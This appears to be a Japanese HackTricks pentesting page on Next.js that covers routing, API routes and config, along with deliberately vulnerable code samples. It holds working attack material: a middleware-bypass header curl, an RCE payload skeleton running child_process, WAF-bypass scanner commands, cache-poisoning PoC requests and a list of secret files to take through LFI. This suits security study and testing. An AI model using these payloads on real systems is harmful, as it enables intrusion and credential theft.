NextJS

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

Next.js アプリケーションの一般的なアーキテクチャ

典型的なファイル構成

標準的な Next.js プロジェクトは、ルーティング、APIエンドポイント、静的アセットの管理などの機能を容易にする特定のファイルおよびディレクトリ構造に従います。以下は典型的なレイアウトです:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

主要なディレクトリとファイル

• public/: 画像、フォント、その他の静的アセットをホストします。ここにあるファイルはルートパス（/）でアクセス可能です。
• app/: アプリケーションのページ、レイアウト、コンポーネント、API ルートの中核ディレクトリ。App Router パラダイムを採用しており、高度なルーティング機能やサーバー・クライアントのコンポーネント分離を可能にします。
• app/layout.tsx: アプリケーションのルートレイアウトを定義し、すべてのページをラップしてヘッダー、フッター、ナビゲーションバーなどの一貫した UI 要素を提供します。
• app/page.tsx: ルート / のエントリポイントとして機能し、ホームページをレンダリングします。
• app/[route]/page.tsx: 静的および動的ルートを処理します。app/ 内の各フォルダはルートセグメントを表し、そのフォルダ内の page.tsx がそのルートのコンポーネントに対応します。
• app/api/: API ルートを含み、HTTP リクエストを処理するサーバーレス関数を作成できます。これらのルートは従来の pages/api ディレクトリに代わるものです。
• app/components/: 複数のページやレイアウトで使い回せる再利用可能な React コンポーネントを格納します。
• app/styles/: グローバルな CSS ファイルやコンポーネントスコープの CSS Modules を含みます。
• app/utils/: ユーティリティ関数、ヘルパーモジュール、その他の非 UI ロジックを共有するためのファイルを含みます。
• .env.local: ローカル開発環境固有の環境変数を格納します。これらの変数はバージョン管理にコミットされません。
• next.config.js: webpack 設定、環境変数、セキュリティ設定など Next.js の挙動をカスタマイズします。
• tsconfig.json: プロジェクトの TypeScript 設定を構成し、型チェックやその他の TypeScript 機能を有効にします。
• package.json: プロジェクトの依存関係、スクリプト、メタデータを管理します。
• README.md: セットアップ手順、使用方法、その他関連情報を含むプロジェクトのドキュメントを提供します。
• yarn.lock / package-lock.json: プロジェクトの依存関係を特定のバージョンに固定し、異なる環境間でのインストールの一貫性を保証します。

Next.js におけるクライアントサイド

app ディレクトリにおけるファイルベースのルーティング

app ディレクトリは最新の Next.js バージョンにおけるルーティングの基礎です。ファイルシステムを利用してルートを定義することで、ルート管理が直感的かつスケーラブルになります。

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

クライアント側の潜在的脆弱性

Next.js は堅牢な基盤を提供しますが、不適切なコーディングが脆弱性を招くことがあります。主なクライアント側の脆弱性には次のようなものがあります:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Recon: _buildManifest を使った static export のルート検出

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

• Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
• Fetch the manifest and extract routes:

build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'

• 発見したパス（例えば /docs, /docs/content/examples, /signin）を使用して、認証テストやエンドポイントの発見を行う。

Next.js のサーバーサイド

サーバーサイドレンダリング (SSR)

ページは各リクエストごとにサーバー側でレンダリングされ、ユーザーは完全にレンダリングされたHTMLを受け取ります。この場合、リクエストを処理するために独自のカスタムサーバーを作成してください。

ユースケース:

• 頻繁に変化する動的コンテンツ。
• 検索エンジンが完全にレンダリングされたページをクロールできるため、SEOの最適化。

実装:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

静的サイト生成 (SSG)

ページはビルド時にプリレンダリングされるため、ロード時間が短縮され、サーバー負荷が軽減されます。

ユースケース:

• 頻繁に変更されないコンテンツ。
• ブログ、ドキュメント、マーケティングページ。

実装:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

サーバーレス関数 (API Routes)

Next.jsでは、APIエンドポイントをサーバーレス関数として作成できます。これらの関数は専用サーバーを必要とせず、オンデマンドで実行されます。

ユースケース:

• フォーム送信の処理。
• データベースとのやり取り。
• データの処理やサードパーティAPIとの統合。

実装:

Next.js 13でappディレクトリが導入されたことで、ルーティングとAPI処理はより柔軟かつ強力になりました。このモダンなアプローチはファイルベースのルーティングシステムと密接に整合しつつ、サーバーコンポーネントとクライアントコンポーネントのサポートなどの強化された機能を導入します。

基本的なルートハンドラ

File Structure:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

実装:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

説明:

• 場所: APIルートは app/api/ ディレクトリの下に配置されます。
• ファイル名: 各APIエンドポイントはそれぞれのフォルダ内に route.js または route.ts ファイルを含みます。
• エクスポートされる関数: 単一の default export の代わりに、特定の HTTP メソッド関数（例: GET, POST）をエクスポートします。
• レスポンス処理: Response コンストラクタを使ってレスポンスを返します。これによりヘッダやステータスコードをより細かく制御できます。

他のパスやメソッドの処理方法:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

CORS 設定

どのオリジンがAPIルートにアクセスできるかを制御し、Cross-Origin Resource Sharing (CORS)の脆弱性を軽減する。

悪い設定例:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

注意：CORS はすべての API routes においても設定できます は middleware.ts ファイル内で行えます:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

問題:

• Access-Control-Allow-Origin: '*': 任意のウェブサイトがAPIにアクセスできるようになり、悪意のあるサイトが制限なくあなたのAPIとやり取りできる可能性があります。
• 広範なメソッド許可: すべてのメソッドを許可すると、攻撃者が望ましくない操作を実行できるようになる可能性があります。

攻撃者による悪用方法:

攻撃者は悪意のあるウェブサイトを作成してあなたのAPIにリクエストを送り、データ取得、データ操作、または認証済みユーザを代理して望ましくない操作を引き起こすといった機能を悪用する可能性があります。

CORS - Misconfigurations & Bypass

クライアント側でのサーバーコードの露出

サーバーで使用されるコードをクライアント側で公開・使用されるコードにも簡単に流用してしまうことがあります。ファイルのコードがクライアント側に決して露出しないようにする最良の方法は、ファイルの先頭で次の import を使用することです：

import "server-only"

重要なファイルとその役割

middleware.ts / middleware.js

Location: プロジェクトのルートまたは src/ 内。

Purpose: リクエストが処理される前にサーバーサイドのサーバーレス関数内でコードを実行し、認証、リダイレクト、レスポンスの変更などの処理を行えるようにする。

Execution Flow:

1. Incoming Request: ミドルウェアがリクエストを傍受する。
2. Processing: リクエストに基づいて処理を行う（例：認証の確認）。
3. Response Modification: レスポンスを変更するか、次のハンドラへ制御を渡すことができる。

Example Use Cases:

• 未認証ユーザーのリダイレクト。
• カスタムヘッダの追加。
• リクエストのログ記録。

Sample Configuration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the x-middleware-subrequest header. The framework will skip middleware recursion and return the protected page.

• Baseline behavior is typically a 307 redirect to a login route like /api/auth/signin.
• Send a long x-middleware-subrequest value (repeat middleware to hit MAX_RECURSION_DEPTH) to flip the response to 200:

curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

• 認証済みページは多くのサブリソースを読み込むため、アセットがリダイレクトされないように、ヘッダーをすべてのリクエストに追加してください（例: Burp の Match/Replace で空のマッチ文字列を使用）。

next.config.js

Location: プロジェクトのルート。

Purpose: Next.js の挙動を構成し、機能の有効化/無効化、webpack の設定のカスタマイズ、環境変数の設定、およびいくつかのセキュリティ機能の構成を行います。

Key Security Configurations:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js と pages/_document.js

pages/_app.js

Purpose: デフォルトの App コンポーネントをオーバーライドし、グローバルな状態、スタイル、レイアウトコンポーネントを利用できるようにします。

Use Cases:

• グローバルな CSS を注入する。
• レイアウトラッパーを追加する。
• 状態管理ライブラリを統合する。

Example:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

目的: デフォルトの Document をオーバーライドし、<html> と <body> タグのカスタマイズを可能にします。

ユースケース:

• <html> や <body> タグの変更。
• meta タグやカスタムスクリプトの追加。
• サードパーティのフォントの導入。

例:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

カスタムサーバー (オプション)

目的: Next.js は組み込みサーバーを備えていますが、カスタムルーティングや既存のバックエンドサービスとの統合など、より高度なユースケースのためにカスタムサーバーを作成できます。

注意: カスタムサーバーを使用するとデプロイの選択肢が制限されることがあり、特に Vercel のように Next.js の組み込みサーバーを最適化しているプラットフォームでは制限が顕著になります。

例:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

追加のアーキテクチャおよびセキュリティ上の考慮事項

環境変数と設定

Purpose: 機密情報や設定をコードベースの外で管理すること。

Best Practices:

• Use .env Files: API keys のような変数を .env.local に保存する（バージョン管理から除外）。
• Access Variables Securely: 環境変数に安全にアクセスするには process.env.VARIABLE_NAME を使用する。
• Never Expose Secrets on the Client: 機密変数がクライアント側に露出しないよう、サーバー側のみで使用することを確認する。

Example:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

注意: サーバー側の変数に限定するには、env オブジェクトからそれらを省略するか、クライアントに公開する場合は NEXT_PUBLIC_ をプレフィックスとして付けてください。

LFI/download endpoints を介して狙うべき有用なサーバーのアーティファクト

Next.js アプリで path traversal や download API を見つけた場合、サーバー側の秘密や認証ロジックを leak するコンパイル済みアーティファクトを狙ってください:

• .env / .env.local — セッションシークレットやプロバイダの認証情報を含む可能性がある。
• .next/routes-manifest.json と .next/build-manifest.json — ルートの完全な一覧を取得可能。
• .next/server/pages/api/auth/[...nextauth].js — コンパイル済み NextAuth 設定を復元するため（process.env が未設定の場合、フォールバックパスワードを含むことが多い）。
• next.config.js / next.config.mjs — rewrites、redirects、middleware のルーティングを確認するため。

認証と認可

アプローチ:

• Session-Based Authentication: クッキーを使用してユーザーセッションを管理する。
• Token-Based Authentication: ステートレス認証のために JWTs を実装する。
• Third-Party Providers: next-auth のようなライブラリを使い、OAuth providers（例: Google、GitHub）と統合する。

セキュリティ対策:

• Secure Cookies: HttpOnly、Secure、および SameSite 属性を設定する。
• Password Hashing: 保存する前に必ずパスワードをハッシュ化する。
• Input Validation: 入力を検証・サニタイズしてインジェクション攻撃を防ぐ。

例:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

パフォーマンス最適化

戦略:

• 画像最適化: 自動的な画像最適化のために Next.js の next/image コンポーネントを使用する。
• コード分割: 動的インポートを利用してコードを分割し、初期ロード時間を短縮する。
• キャッシュ: APIレスポンスや静的アセットのためのキャッシング戦略を実装する。
• 遅延読み込み: コンポーネントやアセットを必要なときにのみ読み込む。

例:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions 列挙 (hash to function name via source maps)

最新の Next.js は、サーバー上で実行されるがクライアントから呼び出される “Server Actions” を使用します。本番環境ではこれらの呼び出しは不透明で、すべての POSTs は共通のエンドポイントに送信され、Next-Action ヘッダで送られるビルド固有の hash によって区別されます。例:

POST /
Next-Action: a9f8e2b4c7d1...

productionBrowserSourceMaps が有効な場合、minified JS chunks は createServerReference(...) の呼び出しを含み、action hash と元の関数名の対応関係を復元するのに十分な構造（および関連する source maps）を leak します。これにより、Next-Action で観測したハッシュを deleteUserAccount() や exportFinancialData() といった具体的なターゲットに変換できます。

抽出アプローチ (regex on minified JS + optional source maps)

ダウンロードした JS チャンクで createServerReference を検索し、ハッシュと関数/ソースシンボルを抽出します。便利なパターンが2つあります:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• Group 1: server action hash（40文字以上の16進数）
• Group 2: ソースマップが存在する場合に元の関数名に解決できるシンボルまたはパス

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

実践的なワークフロー

• ブラウジング中の受動的発見: Next-Action ヘッダーや JS チャンクの URL をキャプチャする。
• 参照された JS バンドルと付随する *.map ファイル（存在する場合）を取得する。
• 上記の正規表現を実行して hash↔name 辞書を構築する。
• 辞書を使ってテスト対象を絞る:
• 名前ベースのトリアージ（例: transferFunds, exportFinancialData）。
• 関数名でビルド間のカバレッジを追跡する（hashes はビルドごとに回転する）。

隠れたアクションを実行する（テンプレートベースのリクエスト）

プロキシ内で観測した有効な POST をテンプレートとして取り、Next-Action の値を別の発見したアクションに差し替える：

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Replay in Repeater and test authorization, input validation and business logic of otherwise unreachable actions.

Burp 自動化

• NextjsServerActionAnalyzer (Burp extension) は上記を Burp 内で自動化します:
• プロキシ履歴から JS チャンクを探索し、createServerReference(...) エントリを抽出し、source maps があれば解析します。
• 検索可能な hash↔function-name 辞書を保持し、function name によってビルド間の重複を除去します。
• 有効なテンプレート POST を特定し、対象アクションの hash を差し替えた送信準備済みの Repeater タブを開くことができます。
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

注意点と制限

• バンドル/ソースマップから名前を復元するには、本番環境で productionBrowserSourceMaps を有効にしている必要があります。
• Function-name の情報開示自体は脆弱性ではありません。発見の指針として使用し、各アクションの認可を個別にテストしてください。

React Server Components Flight プロトコルのデシリアライズ RCE (CVE-2025-55182)

Next.js App Router の展開で react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) 上で Server Actions を公開しているものは、Flight チャンクのデシリアライズ時に重大なサーバサイドの prototype pollution を含みます。Flight ペイロード内に $ リファレンスを作り込むことで、攻撃者は汚染されたプロトタイプから任意の JavaScript 実行、さらに Node.js プロセス内での OS コマンド実行へとピボットできます。

NodeJS - proto & prototype Pollution

Flight チャンクにおける攻撃チェーン

1. Prototype pollution primitive: Set "then": "$1:__proto__:then" so that the resolver writes a then function on Object.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
2. Rebinding to the global Function constructor: Point _response._formData.get at "$1:constructor:constructor". During resolution, object.constructor → Object, and Object.constructor → Function, so future calls to _formData.get() actually execute Function(...).
3. Code execution via _prefix: Place JavaScript source in _response._prefix. When the polluted _formData.get is invoked, the framework evaluates Function(_prefix)(...), so the injected JS can run require('child_process').exec() or any other Node primitive.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

React Server Function の露出マッピング

React Server Functions (RSF) は ‘use server’; ディレクティブを含む任意の関数です。これらの関数にバインドされた各 form action、mutation、または fetch helper は RSC Flight endpoint となり、攻撃者が提供したペイロードを平然とデシリアライズします。React2Shell のアセスメントから得られる有用な情報収集手順:

• 静的インベントリ: フレームワークによって自動的に公開されている RSF の数を把握するために、‘use server’; ディレクティブを探す。

rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/

• App Router defaults: create-next-app はデフォルトで App Router と app/ ディレクトリを有効にし、これにより全てのルートが黙って RSC 対応のエンドポイントになります。/_next/static/chunks/app/ のような App Router のアセットや、Flight チャンクを text/x-component でストリームするレスポンスはインターネット上で目立つフィンガープリントです。
• Implicitly vulnerable RSC deployments: React の公式アドバイザリは、RSC runtime を同梱するアプリが明示的な RSFs がなくても悪用され得ると指摘しているため、react-server-dom-* を使用した 19.0.0–19.2.0 のビルドは疑わしいものとして扱ってください。
• Other frameworks bundling RSC: Vite RSC、Parcel RSC、React Router RSC preview、RedwoodSDK、Waku 等は同じシリアライザを再利用しており、patched React ビルドを組み込むまでは同一のリモート攻撃面を引き継ぎます。

Version coverage (React2Shell)

• react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: 脆弱 は 19.0.0、19.1.0–19.1.1、19.2.0；修正済み はそれぞれ 19.0.1、19.1.2、19.2.1。
• Next.js stable: App Router リリース 15.0.0–16.0.6 は脆弱な RSC スタックを組み込んでいます。Patch train の 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 は修正済みの依存関係を含むため、それら未満のバージョンのビルドは優先ターゲットです。
• Next.js canary: 14.3.0-canary.77+ もバグのある runtime を同梱しており、現時点で修正済みの canary リリースが出ていないため、これらのフィンガープリントは強い悪用候補になります。

Remote detection oracle

Assetnote’s react2shell-scanner は、候補パスに対して細工した multipart Flight リクエストを送り、サーバー側の挙動を観察します：

• Default mode は決定論的な RCE ペイロード（X-Action-Redirect 経由で反映される算術演算）を実行してコード実行を証明します。
• --safe-check mode は意図的に Flight メッセージを不正にして、修正済みサーバーが 200/400 を返すようにしつつ、脆弱なターゲットはボディ内に E{"digest" という部分文字列を含む HTTP/500 レスポンスを返します。その (500 + digest) の組み合わせは、現時点で守備側が公開する最も信頼できるリモート検出オラクルです。
• 組み込みの --waf-bypass、--vercel-waf-bypass、--windows スイッチはペイロードのレイアウトを調整したり、ゴミを前置したり、OS コマンドを置き換えたりして、実際のインターネット資産を探査できるようにします。

python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

その他の最近の App Router の問題（2025年後半）

1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – 不正な Flight ペイロードにより RSC resolver が無限ループに陥る（認証前 DoS）か、コンパイル済み Server Function コードのシリアライズを強制して他の操作に利用される可能性があります。App Router ビルド ≥13.3 はパッチ適用まで影響を受けます；15.0.x–16.0.x は upstream advisory の特定のパッチ行が必要です。通常の Server Action パスを再利用しつつ、text/x-component ボディに乱用された $ 参照を含めてストリームします。CDN の背後では、キャッシュのタイムアウトによりハングした接続が維持されるため、DoS が安価に実行できます。

• トリアージのヒント: 未パッチのターゲットは不正な Flight ペイロード後に E{"digest" を含む 500 を返します；パッチ済みビルドは 400/200 を返します。Flight チャンクを既にストリーミングしているエンドポイント（Next-Action ヘッダや text/x-component レスポンスを探す）をテストし、修正したペイロードでリプレイしてください。

2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – 欠落した Vary により Accept: text/x-component レスポンスがキャッシュされ、HTML を期待するブラウザに返される可能性があります。単一のプリミングリクエストでページが生の RSC ペイロードに置き換えられることがあります。PoC の流れ：

# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

2番目のレスポンスが HTML の代わりに JSON Flight データを返す場合、そのルートはキャッシュ汚染可能です。テスト後はキャッシュをパージしてください。

参考資料

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
• CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
• 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
• assetnote/react2shell-scanner
• Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
• GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。